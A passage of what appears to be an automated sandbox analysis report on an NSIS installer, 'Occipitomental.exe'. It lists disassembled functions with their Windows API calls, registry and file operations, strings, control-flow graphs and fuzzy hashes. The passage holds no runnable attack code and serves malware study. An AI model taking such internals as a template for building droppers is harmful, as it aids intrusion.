                                                  • API ID: Find$CloseFileFirst
                                                  • String ID: C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp
                                                  • API String ID: 2295610775-558814822
                                                  • Opcode ID: 84c008b5a35429018b57d61e4d5c1136775b4467134940db04eeaa1c515e45d8
                                                  • Instruction ID: d1357e632777a99f3a46a744368fc942f06971bdd1fac7e5a473789d9e822290
                                                  • Opcode Fuzzy Hash: 84c008b5a35429018b57d61e4d5c1136775b4467134940db04eeaa1c515e45d8
                                                  • Instruction Fuzzy Hash: 22D012319481206BC3105B78AC0C85B7E98AF5A3303618A72F226F12F4D7349C6286AD
                                                  Function 00402688 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • FindFirstFileA.KERNELBASE(00000000,?,00000002), ref: 00402697
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: FileFindFirst
                                                  • String ID:
                                                  • API String ID: 1974802433-0
                                                  • Opcode ID: 658edabc287f887452b002439e05f279f444d963b115949bed7a8fc397d4dfc9
                                                  • Instruction ID: e04ffd14ad056a7bc966bca46badc1a9d7fcc05075aa2412e3ac1a9cf71dfd33
                                                  • Opcode Fuzzy Hash: 658edabc287f887452b002439e05f279f444d963b115949bed7a8fc397d4dfc9
                                                  • Instruction Fuzzy Hash: 6BF0A772508100AFE701EBB499499EE7778DB61314F60457BE241E21C1D7B849859B3A
                                                  Function 0040367D Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215stringregistryCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 130 40367d-403695 call 406092 133 403697-4036a7 call 405c5b 130->133 134 4036a9-4036da call 405be4 130->134 143 4036fd-403726 call 403942 call 40585d 133->143 139 4036f2-4036f8 lstrcatA 134->139 140 4036dc-4036ed call 405be4 134->140 139->143 140->139 148 40372c-403731 143->148 149 4037ad-4037b5 call 40585d 143->149 148->149 150 403733-403757 call 405be4 148->150 155 4037c3-4037e8 LoadImageA 149->155 156 4037b7-4037be call 405d1f 149->156 150->149 157 403759-40375b 150->157 159 403869-403871 call 40140b 155->159 160 4037ea-40381a RegisterClassA 155->160 156->155 161 40376c-403778 lstrlenA 157->161 162 40375d-40376a call 40579a 157->162 173 403873-403876 159->173 174 40387b-403886 call 403942 159->174 163 403820-403864 SystemParametersInfoA CreateWindowExA 160->163 164 403938 160->164 168 4037a0-4037a8 call 40576f call 405cfd 161->168 169 40377a-403788 lstrcmpiA 161->169 162->161 163->159 167 40393a-403941 164->167 168->149 169->168 172 40378a-403794 GetFileAttributesA 169->172 177 403796-403798 172->177 178 40379a-40379b call 4057b6 172->178 173->167 183 40388c-4038a6 ShowWindow call 406028 174->183 184 40390f-403917 call 404fe8 174->184 177->168 177->178 178->168 191 4038b2-4038c4 GetClassInfoA 183->191 192 4038a8-4038ad call 406028 183->192 189 403931-403933 call 40140b 184->189 190 403919-40391f 184->190 189->164 190->173 193 403925-40392c call 40140b 190->193 196 4038c6-4038d6 GetClassInfoA RegisterClassA 191->196 197 4038dc-40390d DialogBoxParamA call 40140b call 4035cd 191->197 192->191 193->173 196->197 197->167
                                                  APIs
                                                    • Part of subcall function 00406092: GetModuleHandleA.KERNEL32(?,?,?,00403147,00000009,SETUPAPI,USERENV,UXTHEME), ref: 004060A4
                                                    • Part of subcall function 00406092: GetProcAddress.KERNEL32(00000000,?), ref: 004060BF
                                                  • lstrcatA.KERNEL32(1033,0041FD20,80000001,Control Panel\Desktop\ResourceLocale,00000000,0041FD20,00000000,00000002,771B3410,C:\Users\user~1\AppData\Local\Temp\,"C:\Users\user\Desktop\Occipitomental.exe",00000000), ref: 004036F8
                                                  • lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\barberknivene\Valonia,1033,0041FD20,80000001,Control Panel\Desktop\ResourceLocale,00000000,0041FD20,00000000,00000002,771B3410), ref: 0040376D
                                                  • lstrcmpiA.KERNEL32(?,.exe), ref: 00403780
                                                  • GetFileAttributesA.KERNEL32(Call), ref: 0040378B
                                                  • LoadImageA.USER32(00000067,?,00000000,00000000,00008040,C:\Users\user\AppData\Local\barberknivene\Valonia), ref: 004037D4
                                                    • Part of subcall function 00405C5B: wsprintfA.USER32 ref: 00405C68
                                                  • RegisterClassA.USER32(00422EC0), ref: 00403811
                                                  • SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403829
                                                  • CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 0040385E
                                                  • ShowWindow.USER32(00000005,00000000), ref: 00403894
                                                  • GetClassInfoA.USER32(00000000,RichEdit20A,00422EC0), ref: 004038C0
                                                  • GetClassInfoA.USER32(00000000,RichEdit,00422EC0), ref: 004038CD
                                                  • RegisterClassA.USER32(00422EC0), ref: 004038D6
                                                  • DialogBoxParamA.USER32(?,00000000,00403A0F,00000000), ref: 004038F5
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
                                                  • String ID: "C:\Users\user\Desktop\Occipitomental.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Local\barberknivene\Valonia$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
                                                  • API String ID: 1975747703-732836201
                                                  • Opcode ID: 2e387363e993ac872dd22a4a86a2e1b7be33974681a194842b750a3d4ff7c9b8
                                                  • Instruction ID: 7b7c40b23c28382cce88422b139422c0b39d4688b8d1f116fbeb90bdc2aa80af
                                                  • Opcode Fuzzy Hash: 2e387363e993ac872dd22a4a86a2e1b7be33974681a194842b750a3d4ff7c9b8
                                                  • Instruction Fuzzy Hash: E161C7B46442007ED620BF61AD45F273AACEB4474AF40847FF945B22E1C77CAD069A3E
                                                  Function 00402C66 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182COMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 204 402c66-402cb4 GetTickCount GetModuleFileNameA call 405970 207 402cc0-402cee call 405cfd call 4057b6 call 405cfd GetFileSize 204->207 208 402cb6-402cbb 204->208 216 402cf4 207->216 217 402ddb-402de9 call 402c02 207->217 209 402e98-402e9c 208->209 219 402cf9-402d10 216->219 223 402deb-402dee 217->223 224 402e3e-402e43 217->224 221 402d12 219->221 222 402d14-402d1d call 40307b 219->222 221->222 230 402d23-402d2a 222->230 231 402e45-402e4d call 402c02 222->231 226 402df0-402e08 call 403091 call 40307b 223->226 227 402e12-402e3c GlobalAlloc call 403091 call 402e9f 223->227 224->209 226->224 250 402e0a-402e10 226->250 227->224 255 402e4f-402e60 227->255 235 402da6-402daa 230->235 236 402d2c-402d40 call 40592b 230->236 231->224 240 402db4-402dba 235->240 241 402dac-402db3 call 402c02 235->241 236->240 253 402d42-402d49 236->253 246 402dc9-402dd3 240->246 247 402dbc-402dc6 call 406107 240->247 241->240 246->219 254 402dd9 246->254 247->246 250->224 250->227 253->240 259 402d4b-402d52 253->259 254->217 256 402e62 255->256 257 402e68-402e6d 255->257 256->257 260 402e6e-402e74 257->260 259->240 261 402d54-402d5b 259->261 260->260 262 402e76-402e91 SetFilePointer call 40592b 260->262 261->240 263 402d5d-402d64 261->263 267 402e96 262->267 263->240 264 402d66-402d86 263->264 264->224 266 402d8c-402d90 264->266 268 402d92-402d96 266->268 269 402d98-402da0 266->269 267->209 268->254 268->269 269->240 270 402da2-402da4 269->270 270->240
                                                  APIs
                                                  • GetTickCount.KERNEL32 ref: 00402C77
                                                  • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Occipitomental.exe,00000400), ref: 00402C93
                                                    • Part of subcall function 00405970: GetFileAttributesA.KERNELBASE(?,00402CA6,C:\Users\user\Desktop\Occipitomental.exe,80000000,?), ref: 00405974
                                                    • Part of subcall function 00405970: CreateFileA.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405996
                                                  • GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Occipitomental.exe,C:\Users\user\Desktop\Occipitomental.exe,80000000,?), ref: 00402CDF
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: File$AttributesCountCreateModuleNameSizeTick
                                                  • String ID: "C:\Users\user\Desktop\Occipitomental.exe"$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Occipitomental.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft$hA
                                                  • API String ID: 4283519449-1976778628
                                                  • Opcode ID: 152ac9b7a1b1dc19f9c0e8349d0464e237808c5fe7e9e051921f38e6572f43da
                                                  • Instruction ID: 8c4c774c716df1ba4ed4283b0a2f2a309b4ff87d1887d614af3d34fab0b2b326
                                                  • Opcode Fuzzy Hash: 152ac9b7a1b1dc19f9c0e8349d0464e237808c5fe7e9e051921f38e6572f43da
                                                  • Instruction Fuzzy Hash: 5A51B3B1A41214ABDF209F65DE89B9E7AB8EF00355F10403BF904B62D1C7BC9D418BAD
                                                  Function 004053DC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 39COMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 469 4053dc-405427 CreateDirectoryA 470 405429-40542b 469->470 471 40542d-40543a GetLastError 469->471 472 405454-405456 470->472 471->472 473 40543c-405450 SetFileSecurityA 471->473 473->470 474 405452 GetLastError 473->474 474->472
                                                  APIs
                                                  • CreateDirectoryA.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\), ref: 0040541F
                                                  • GetLastError.KERNEL32 ref: 00405433
                                                  • SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405448
                                                  • GetLastError.KERNEL32 ref: 00405452
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: ErrorLast$CreateDirectoryFileSecurity
                                                  • String ID: ,s@$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\Desktop
                                                  • API String ID: 3449924974-2975340972
                                                  • Opcode ID: c1937cb38bbd103373e168b49ea038f7d2b8a7083c118a1d29bd15b4f0e45592
                                                  • Instruction ID: 949b07086bfbcc12ad21f83970ad7e8279e58ae06bb45438fc5c1603e332b0fc
                                                  • Opcode Fuzzy Hash: c1937cb38bbd103373e168b49ea038f7d2b8a7083c118a1d29bd15b4f0e45592
                                                  • Instruction Fuzzy Hash: 2D010871D14259EADF119BA0DD447EFBFB8EB04355F004176E904B6181E3789648CFAA
                                                  Function 00401D38 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  APIs
                                                  • GetDC.USER32(?), ref: 00401D3B
                                                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D48
                                                  • MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D57
                                                  • ReleaseDC.USER32(?,00000000), ref: 00401D68
                                                  • CreateFontIndirectA.GDI32(0040A808), ref: 00401DB3
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CapsCreateDeviceFontIndirectRelease
                                                  • String ID: Calibri
                                                  • API String ID: 3808545654-1409258342
                                                  • Opcode ID: 528dbab53a085941d18461d589924d88f0e46b03b65e1e8b436aac01ca287a73
                                                  • Instruction ID: 9e7a7182ae9254896fc63aeedc32ca6a3ce3e3ef4d7c41cc1e10fd7b3e73fcff
                                                  • Opcode Fuzzy Hash: 528dbab53a085941d18461d589924d88f0e46b03b65e1e8b436aac01ca287a73
                                                  • Instruction Fuzzy Hash: 59016232944340AFE7016B70AE5EBA93FA89795305F10C475F201B62E2C57801569F7F
                                                  Function 00402E9F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155COMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 488 402e9f-402eb3 489 402eb5 488->489 490 402ebc-402ec4 488->490 489->490 491 402ec6 490->491 492 402ecb-402ed0 490->492 491->492 493 402ee0-402eed call 40307b 492->493 494 402ed2-402edb call 403091 492->494 498 403032 493->498 499 402ef3-402ef7 493->499 494->493 500 403034-403035 498->500 501 40301b-40301d 499->501 502 402efd-402f1d GetTickCount call 406175 499->502 503 403074-403078 500->503 504 403066-40306a 501->504 505 40301f-403022 501->505 512 403071 502->512 513 402f23-402f2b 502->513 508 403037-40303d 504->508 509 40306c 504->509 510 403024 505->510 511 403027-403030 call 40307b 505->511 515 403042-403050 call 40307b 508->515 516 40303f 508->516 509->512 510->511 511->498 521 40306e 511->521 512->503 517 402f30-402f3e call 40307b 513->517 518 402f2d 513->518 515->498 525 403052-40305e call 405a17 515->525 516->515 517->498 526 402f44-402f4d 517->526 518->517 521->512 531 403060-403063 525->531 532 403017-403019 525->532 528 402f53-402f70 call 406195 526->528 534 403013-403015 528->534 535 402f76-402f8d GetTickCount 528->535 531->504 532->500 534->500 536 402fd2-402fd4 535->536 537 402f8f-402f97 535->537 538 402fd6-402fda 536->538 539 403007-40300b 536->539 540 402f99-402f9d 537->540 541 402f9f-402fcf MulDiv wsprintfA call 404f16 537->541 542 402fdc-402fe1 call 405a17 538->542 543 402fef-402ff5 538->543 539->513 544 403011 539->544 540->536 540->541 541->536 549 402fe6-402fe8 542->549 547 402ffb-402fff 543->547 544->512 547->528 550 403005 547->550 549->532 551 402fea-402fed 549->551 550->512 551->547
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CountTick$wsprintf
                                                  • String ID: ... %d%%
                                                  • API String ID: 551687249-2449383134
                                                  • Opcode ID: ec87ffbb6cf563fd129cc9a73db18b080cea9b7714d42312e3ab62a63da54833
                                                  • Instruction ID: 7e4dc47457cc3da2c56257e898c37067349407ab53618b81eea50406b68a50e3
                                                  • Opcode Fuzzy Hash: ec87ffbb6cf563fd129cc9a73db18b080cea9b7714d42312e3ab62a63da54833
                                                  • Instruction Fuzzy Hash: B9517C72902219ABDF10DF65DA04A9F7BB8EB40755F14413BF800B72C4C7789E51DBAA
                                                  Function 00402364 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71registrystringCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 552 402364-4023aa call 402b2f call 402a3a * 2 RegCreateKeyExA 559 4023b0-4023b8 552->559 560 4028cf-4028de 552->560 562 4023c8-4023cb 559->562 563 4023ba-4023c7 call 402a3a lstrlenA 559->563 566 4023db-4023de 562->566 567 4023cd-4023da call 402a1d 562->567 563->562 570 4023e0-4023ea call 402e9f 566->570 571 4023ef-402403 RegSetValueExA 566->571 567->566 570->571 573 402405 571->573 574 402408-4024de RegCloseKey 571->574 573->574 574->560 577 4026a6-4026ad 574->577 577->560
                                                  APIs
                                                  • RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023A2
                                                  • lstrlenA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023C2
                                                  • RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023FB
                                                  • RegCloseKey.ADVAPI32(?,?,?,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024D8
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CloseCreateValuelstrlen
                                                  • String ID: C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp
                                                  • API String ID: 1356686001-558814822
                                                  • Opcode ID: efb6579eb1956303befec3ecdc8d6f1b52460d682d7eb48d407cf5b093037413
                                                  • Instruction ID: 133b3897f1a97e650f74ae2c97eeacc267919fe8998a33790bec377d3be5ae35
                                                  • Opcode Fuzzy Hash: efb6579eb1956303befec3ecdc8d6f1b52460d682d7eb48d407cf5b093037413
                                                  • Instruction Fuzzy Hash: F61163B1E00108BFEB10AFA4DE89EAF7A79EB54358F10403AF505B61D1D6B85D419A28
                                                  Function 00406028 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34libraryCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 578 406028-406048 GetSystemDirectoryA 579 40604a 578->579 580 40604c-40604e 578->580 579->580 581 406050-406058 580->581 582 40605e-406060 580->582 581->582 583 40605a-40605c 581->583 584 406061-40608f wsprintfA LoadLibraryA 582->584 583->584
                                                  APIs
                                                  • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040603F
                                                  • wsprintfA.USER32 ref: 00406078
                                                  • LoadLibraryA.KERNELBASE(?), ref: 00406088
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DirectoryLibraryLoadSystemwsprintf
                                                  • String ID: %s%s.dll$\
                                                  • API String ID: 2200240437-500877883
                                                  • Opcode ID: 1d5f31d115a59bc75170d0b5e25867174e87b8d420fe74ce0eee88fcfc4f8209
                                                  • Instruction ID: d5163558ffe5aed4278454506076ff52b4f001f8688a9739bf5e409abac40a62
                                                  • Opcode Fuzzy Hash: 1d5f31d115a59bc75170d0b5e25867174e87b8d420fe74ce0eee88fcfc4f8209
                                                  • Instruction Fuzzy Hash: C6F0BB7094010A9BDF15DB78DC0DEFB365CEB08304F14057AA547E10D2EA79E975CBA9
                                                  Function 0040599F Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 585 40599f-4059a9 586 4059aa-4059d5 GetTickCount GetTempFileNameA 585->586 587 4059e4-4059e6 586->587 588 4059d7-4059d9 586->588 590 4059de-4059e1 587->590 588->586 589 4059db 588->589 589->590
                                                  APIs
                                                  • GetTickCount.KERNEL32 ref: 004059B3
                                                  • GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 004059CD
                                                  Strings
                                                  • C:\Users\user~1\AppData\Local\Temp\, xrefs: 004059A2
                                                  • "C:\Users\user\Desktop\Occipitomental.exe", xrefs: 0040599F
                                                  • nsa, xrefs: 004059AA
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CountFileNameTempTick
                                                  • String ID: "C:\Users\user\Desktop\Occipitomental.exe"$C:\Users\user~1\AppData\Local\Temp\$nsa
                                                  • API String ID: 1716503409-4061148466
                                                  • Opcode ID: 95c6d3479798503f7923504534165061c55f320a4664c3ca80cf9d12d42afe18
                                                  • Instruction ID: 3f05255bf470524d05267fbe77a66a547c73f63e6c4f6eb4cae2c62e5f282410
                                                  • Opcode Fuzzy Hash: 95c6d3479798503f7923504534165061c55f320a4664c3ca80cf9d12d42afe18
                                                  • Instruction Fuzzy Hash: D3F0E272708204ABEB108F55EC04B9B7B9CDF91720F10803BFA08DA180D2B098108BA9
                                                  Function 00402A7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
